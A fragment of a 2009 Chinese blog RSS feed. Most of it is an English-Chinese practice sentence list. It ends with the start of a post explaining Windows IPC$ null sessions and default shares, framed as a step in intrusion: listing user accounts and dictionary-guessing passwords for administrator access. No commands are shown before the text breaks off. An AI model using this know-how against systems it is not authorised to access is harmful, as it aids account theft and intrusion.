宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我想你常常跳舞吧。</span><wbr /><br>274. I walked across the park<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我穿过了公园。</span><wbr /><br>275. I'll just play it by ear<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我到时随机应变。</span><wbr /><br>276. I'm not sure I can do it<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">恐怕这事我干不了。</span><wbr /><br>277. I'm not used to drinking<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我不习惯喝酒。</span><wbr /><br>278. Is the cut still painful? <span style="font-family:' 宋体';line-height:1.8em;">伤口还在痛吗</span><wbr />?<br>279. It's too good to be true! <span style="font-family:' 宋体';line-height:1.8em;">好得难以置信。</span><wbr /><br>280. Jean is a blue-eyed girl<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">珍是个蓝眼睛的女孩。</span><wbr /><br>281. Let's not waste our time<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">咱们别浪费时间了。</span><wbr /><br>282. May I ask some questions? <span style="font-family:' 宋体';line-height:1.8em;">我可以问几个问题吗</span><wbr />?<br>283. Money is not everything<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">金钱不是一切。</span><wbr /><br>284. Neither of the men spoke<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">两个人都没说过话。</span><wbr /><br>285. Stop making such a noise<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">别吵了。</span><wbr /><br>286. That makes no difference<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">没什么区别。</span><wbr /><br>287. The price is reasonable<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">价格还算合理。</span><wbr /><br>288. They crowned him king<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他们拥立他为国王。</span><wbr /><br>289. They're in red and white. <span style="font-family:' 宋体';line-height:1.8em;">他们穿着红白相间的衣服。</span><wbr /><br>290. We all desire happiness. <span style="font-family:' 宋体';line-height:1.8em;">我们都想要幸福。</span><wbr /><br>291. We just caught the plane <span style="font-family:' 宋体';line-height:1.8em;">我们刚好赶上了飞机。</span><wbr /><br>292. What shall we do tonight? <span style="font-family:' 宋体';line-height:1.8em;">我们今天晚上去干点儿什么呢</span><wbr />?<br>293. What's your goal in life <span style="font-family:' 宋体';line-height:1.8em;">你的人生目标是什么</span><wbr />?<br>294. When was the house built? <span style="font-family:' 宋体';line-height:1.8em;">这幢房子是什么时候建造的</span><wbr />?<br>295. Why did you stay at home? <span style="font-family:' 宋体';line-height:1.8em;">为什么呆在家里</span><wbr />?<br>296. Would you like some help? <span style="font-family:' 宋体';line-height:1.8em;">需要帮忙吗</span><wbr />?<br>297. You mustn't aim too high <span style="font-family:' 宋体';line-height:1.8em;">你不可好高骛远。</span><wbr /><br>298. You're really killing me! <span style="font-family:' 宋体';line-height:1.8em;">真是笑死我了</span><wbr />!<br>299. You've got a point there<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你说得挺有道理的。</span><wbr /><br>300. Being criticized is awful! <span style="font-family:' 宋体';line-height:1.8em;">被人批评真是痛苦</span><wbr /><br><br>301. Did you enter the contest? <span style="font-family:' 宋体';line-height:1.8em;">你参加比赛了吗</span><wbr />?<br>302. Do you accept credit cards? <span style="font-family:' 宋体';line-height:1.8em;">你们收信用卡吗</span><wbr />?<br>303. Don't cry over spilt milk<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">不要做无益的后悔。</span><wbr /><br>304. Don't let chances pass by<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">不要让机遇从我们身边溜走。</span><wbr /><br>305. He owned himself defeated<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他承认自己失败了。</span><wbr /><br>306. He seems at little nervous<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他显得有点紧张。</span><wbr /><br>307. He strolls about the town<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他在镇上四处遛达。</span><wbr /><br>308. Her tooth ached all night. <span style="font-family:' 宋体';line-height:1.8em;">她牙疼了一整夜。</span><wbr /><br>309. How about a drink tonight? <span style="font-family:' 宋体';line-height:1.8em;">今晚喝一杯怎样</span><wbr />?<br>310. I can do nothing but that. <span style="font-family:' 宋体';line-height:1.8em;">我只会做那件事。</span><wbr /><br>311. I get hold of you at last<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我终于找到你了。</span><wbr /><br>312. I have a surprise for you<span style="font-family:' 宋体';line-height:1.8em;">．我有一个意想不到的东西给你看。</span><wbr /><br>313. I like all kinds of fruit<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我喜欢各种各样的水果。</span><wbr /><br>314. I saw it with my own eyes<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我亲眼所见。</span><wbr /><br>315. I will arrange everything<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我会安排一切的。</span><wbr /><br>316. I wish I knew my neighbor<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我很想认识我的邻居。</span><wbr /><br>317. I would like to check out<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我想结帐。</span><wbr /><br>318. It has be come much cooler<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">天气变得凉爽多了。</span><wbr /><br>319. It's time you went to bed<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你早就该睡觉了。</span><wbr /><br>320. No spitting on the street<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">禁止在大街上吐痰。</span><wbr /><br>321. She was totally exhausted<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">她累垮了。</span><wbr /><br>322. Show your tickets<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">please</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">请出示你的票。</span><wbr /><br>323. Thank you for your advice<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">谢谢你的建议。</span><wbr /><br>324. That's the latest fashion<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这是最流行的款式。</span><wbr /><br>325. The train arrived on time<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">火车准时到达。</span><wbr /><br>326. There go the house lights<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">剧院的灯光灭了。</span><wbr /><br>327. They are paid by the hour<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他们按时取酬。</span><wbr /><br>328. Things are getting better<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">情况正在好转。</span><wbr /><br>329. Wake me up at five thirty<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">请在五点半叫醒我。</span><wbr /><br>330. We are all busy with work<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我们都忙于工作。</span><wbr /><br>331. Where do you want to meet? <span style="font-family:' 宋体';line-height:1.8em;">你想在哪儿见面</span><wbr />?<br>332. You can get what you want<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你能得到你想要的。</span><wbr /><br>333. A barking dog doesn't bite! <span style="font-family:' 宋体';line-height:1.8em;">吠犬不咬人。</span><wbr /><br>334. Are you free this Saturday? <span style="font-family:' 宋体';line-height:1.8em;">你这个星期六有空吗</span><wbr />?<br>335. Be careful not to fall ill<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">注意不要生病了。</span><wbr /><br>336. Being a mother is not easy<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">做一个母亲是不容易的。</span><wbr /><br>337. Brevity is the soul of wit<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">简洁是智慧的精华。</span><wbr /><br>338. Cancer is a deadly disease<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">癌症是一种致命的疾病。</span><wbr /><br>339. Did you fight with others? <span style="font-family:' 宋体';line-height:1.8em;">你又和别人打架了吗</span><wbr />?<br>340. Don't dream away your time<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">不要虚度光阴。</span><wbr /><br>341. Don't keep me waiting long<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">不要让我等得太久。</span><wbr /><br>342. He has a remarkable memory<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他有惊人的记忆力。</span><wbr /><br>343. He has completed the task<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他完成了这个任务。</span><wbr /><br>344. He has quite a few friends<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他有不少的朋友。</span><wbr /><br>345. He is capable of any crime<span style="font-family:' 宋体';line-height:1.8em;">．他什么样的坏事都能干得出来。</span><wbr /><br>346. He walks with a quick pace<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他快步走路。</span><wbr /><br>347. He was not a little tired<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他很累。</span><wbr /><br>348. His looks are always funny<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他的样子总是滑稽可笑。</span><wbr /><br>349. How about going to a movie? <span style="font-family:' 宋体';line-height:1.8em;">去看场电影怎么样</span><wbr />?<br>350. I think I've caught a cold<span style="font-family:' 宋体';line-height:1.8em;">．我想我得了感冒。</span><wbr /><br>351. I was taking care of Sally. <span style="font-family:' 宋体';line-height:1.8em;">我在照顾萨莉。</span><wbr /><br>352. I wish I lived in NEWYORK<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我希望住在纽约。</span><wbr /><br>353. I'm very glad to hear that<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">很高兴听你这样说。</span><wbr /><br>354. I'm your lucky fellow then. <span style="font-family:' 宋体';line-height:1.8em;">我就是你的幸运舞伴啦</span><wbr />!<br>355. It's none of your business! <span style="font-family:' 宋体';line-height:1.8em;">这不关你的事儿</span><wbr />!<br>356. No littering on the campus<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">在校园内不准乱丢废物。</span><wbr /><br>357. She is a good-looking girl. <span style="font-family:' 宋体';line-height:1.8em;">她是一个漂亮女孩。</span><wbr /><br>358. She mended the broken doll<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">她修补了破了的洋娃娃。</span><wbr /><br>359. So I just take what I want<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">那么我只拿我所需要的东西。</span><wbr /><br>360. Spring is a pretty season<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">春天是一个好季节。</span><wbr /><br>361. The figure seems all Right<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">数目看起来是对的。</span><wbr /><br>362. The stars are too far away<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">星星太遥远了。</span><wbr /><br>363. The whole world knows that<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">全世界都知道。</span><wbr /><br>364. Tomorrow will be a holiday<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">明天放假。</span><wbr /><br>365. We walk on the garden path<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我们走在花园小径上。</span><wbr /><br>366. What you need is just rest<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你需要的就是休息。</span><wbr /><br>367. What's your favorite steps? <span style="font-family:' 宋体';line-height:1.8em;">你最喜欢跳什么舞</span><wbr />?<br>368. You'd better let her alone<span style="font-family:' 宋体';line-height:1.8em;">．你们最好是让她一个人呆会儿。</span><wbr /><br>369. A lost chance never returns<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">错过的机会永不再来。</span><wbr /><br>370. Don't let this get you down<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">不要为此灰心丧气。</span><wbr /><br>371. He shot the lion with a gun. <span style="font-family:' 宋体';line-height:1.8em;">他用枪把狮子打死了。</span><wbr /><br>372. I don't think you are right<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我认为你是不对的。</span><wbr /><br>373. I have never seen the movie<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我从未看过那部电影。</span><wbr /><br>374. I haven't seen you for ages<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我好久没见到你了。</span><wbr /><br>375. I was alone<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">but notlonely</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．我独自一人，但并不觉得寂寞。</span><wbr /><br>376. I went there three days ago<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我三天前去过那儿。</span><wbr /><br>377. It's a friendly competition<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这是一场友谊赛。</span><wbr /><br>378. It's very thoughtful of you<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你想得真周到。</span><wbr /><br>379. May I speak to Lora<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">please? </span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">我能和劳拉说话吗</span><wbr />?<br>380. Mr.Wang is fixing his bike<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">王先生在修他的自行车。</span><wbr /><br>381. My brother is see king a job<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我弟弟正在找工作。</span><wbr /><br>382. Nancy will retire next year<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">南希明年就退休了。</span><wbr /><br>383. Neither you nor he is wrong<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你没错，他也没错。</span><wbr /><br>384. Opportunity knocks but once<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">机不可失，时不再来。</span><wbr /><br>385. She dressed herself hastily<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">她匆忙穿上衣服。</span><wbr /><br>386. She hired a car by the hour<span style="font-family:' 宋体';line-height:1.8em;">．她租了一辆按钟点计费的汽车。</span><wbr /><br>387. Someone is ringing the bell<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">有人在按门铃。</span><wbr /><br>388. The Smiths are my neighbors. <span style="font-family:' 宋体';line-height:1.8em;">史密斯一家是我的邻居。</span><wbr /><br>389. These shoes don't fit right<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这双鞋不太合适。</span><wbr /><br>390. This is only the first half<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这才是上半场呢。</span><wbr /><br>391. This pen doesn't write well<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这钢笔不好写。</span><wbr /><br>392. Would you like a cup of tea? <span style="font-family:' 宋体';line-height:1.8em;">你想喝杯茶吗</span><wbr />?<br>393. You really look sharp today<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你今天真漂亮。</span><wbr /><br>394. Another cat came to my house<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">又有一只猫来到我家了。</span><wbr /><br>395. Check your answers with mine<span style="font-family:' 宋体';line-height:1.8em;">．把你的答案跟我的核对一下。</span><wbr /><br>396. Don't keep the truth from me<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">别瞒着我事实真相。</span><wbr /><br>397. Everything has its beginning<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">凡事都有开端。</span><wbr /><br>398. He came to the point at once<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他一下子就说到了点子上。</span><wbr /><br>399. He fell behind with his work<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他工作落后了。</span><wbr /><br>400. He is the happiest man alive. <span style="font-family:' 宋体';line-height:1.8em;">他是世界上最快乐的人。</span><wbr /><span style="line-height:1.8em;"> 401. He neither smokes nor drinks</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">他既不抽烟也不喝酒。</span><wbr /><br>402. He ran his horse up the hill<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他策马跑上小山。</span><wbr /><br>403. He reminds me of his brother. <span style="font-family:' 宋体';line-height:1.8em;">他使我想起了他的弟弟。</span><wbr /><br>404. He was efficient in his work<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他工作效率高。</span><wbr /><br>405. He will do anything but work<span style="font-family:' 宋体';line-height:1.8em;">．只要不是干活，他干什么都行。</span><wbr /><br>406. His father runs a restaurant<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他的父亲经营一家餐馆。</span><wbr /><br>407. I have something to tell you<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我有事要告诉你。</span><wbr /><br>408. I smelled a smell of cooking<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我闻到了烧菜做饭的味道。</span><wbr /><br>409. I want to see the film again<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我真想再看一遍。</span><wbr /><br>410. I've got too much work to do<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我要做的工作太多了。</span><wbr /><br>411. Let's go for a walk<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">shall we? </span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">咱们出去走走，好吗</span><wbr />?<br>412. Please let me check the bill<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">请让我核对一下帐单。</span><wbr /><br>413. Plenty of sleep is healthful<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">充足的睡眠有益于健康。</span><wbr /><br>414. The sun comes up in the east<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">太阳从东方升起。</span><wbr /><br>415. This is because we feel pain<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这是因为我们能感到疼痛。</span><wbr /><br>416. What do you desire me to do? <span style="font-family:' 宋体';line-height:1.8em;">你想要我做什么</span><wbr />?<br>417. What you said was quite true. <span style="font-family:' 宋体';line-height:1.8em;">你所说的完全符合事实。</span><wbr /><br>418. You can either stay or leave<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你或者留下或者离开。</span><wbr /><br>419. Your life is your own affair<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你的生活是你自己的事。</span><wbr /><br>420. All that glitters is not gold<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">发闪光的不全是黄金。</span><wbr /><br>421. Are you going to have a party? <span style="font-family:' 宋体';line-height:1.8em;">你要举行聚会吗</span><wbr />?<br>422. Aren't you concerned about it? <span style="font-family:' 宋体';line-height:1.8em;">难道你不担心吗</span><wbr />?<br>423. Don't forget to keep in touch<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">别忘了保持联系。</span><wbr /><br>424. He broke his words once again. <span style="font-family:' 宋体';line-height:1.8em;">他又一次违背了诺言。</span><wbr /><br>425. He is in his everyday clothes<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">他穿着平常的衣服。</span><wbr /><br>426. He is taller than I by ahead<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他比我高一头。</span><wbr /><br>427. He led them down the mountain<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">他带他们下山。</span><wbr /><br>428. He was trained to be a lawyer<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">他被培养成一名律师。</span><wbr /><br>429. I am afraid that l have to go<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">我要走了。</span><wbr /><br>430. I don't have any cash with me<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">我身上没带现金。</span><wbr /><br>431. I have been putting on weight<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">我开始发胖了。</span><wbr /><br>432. I have just finished the book<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">我刚刚读完这本书。</span><wbr /><br>433. I was late for work yesterday<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">我昨天上班迟到了。</span><wbr /><br>434. It appears to be a true story<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">这故事似乎是真的。</span><wbr /><br>435. I've got to start working out<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">我必须开始做健身运动了。</span><wbr /><br>436. Japan is to the east of China<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">日本在中国的东部。</span><wbr /><br>437. John asked Grace to marry him<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">约翰向格雷斯求婚。</span><wbr /><br>438. My watch is faster than yours<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">我的表比你的表快。</span><wbr /><br>439. New China was founded in l949<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="line-height:1.8em;"> 1949</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">年新中国成立。</span><wbr /><br>440. Thanks for your flattering me<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">多谢你的夸奖。</span><wbr /><br>441. They charged the fault on him<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">他们把过失归咎于他。</span><wbr /><br>442. This car is in good condition<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">这车性能很好。</span><wbr /><br>443. This work itself is very easy<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">这件工作本身很容易。</span><wbr /><br>444. Truth is the daughter of time<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">时间见真理。</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[其他资料]]></category>
<author><![CDATA[93039799@qq.com(树袋熊)]]></author>
<comments>http://93039799.qzone.qq.com/blog/1253158611#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Thu, 17 Sep 2009 03:36:51 GMT</pubDate>
<guid>http://93039799.qzone.qq.com/blog/1253158611</guid>
</item>

<item>
<title><![CDATA[IPC连接]]></title>
<link>http://93039799.qzone.qq.com/blog/1248149569</link>
<description><![CDATA[<span style="color:#0000ff;line-height:1.8em;">IPC$(Internet Process Connection)是共享&quot;命名管道&quot;的资源(大家都是这么说的)，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。 <br>利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的)，而利用这个空的连接，连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。 <br>我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。 <br>所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$，访问共享资源,导出用户列表,并使用一些字典工具，进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的. <br><br>解惑: <br>1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能，其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数，所以不能在Windows 9.x中运行。 <br>也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的) <br>2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接 <br>3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表 <br><br><br>三 建立ipc$连接在hack攻击中的作用 <br>就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!! 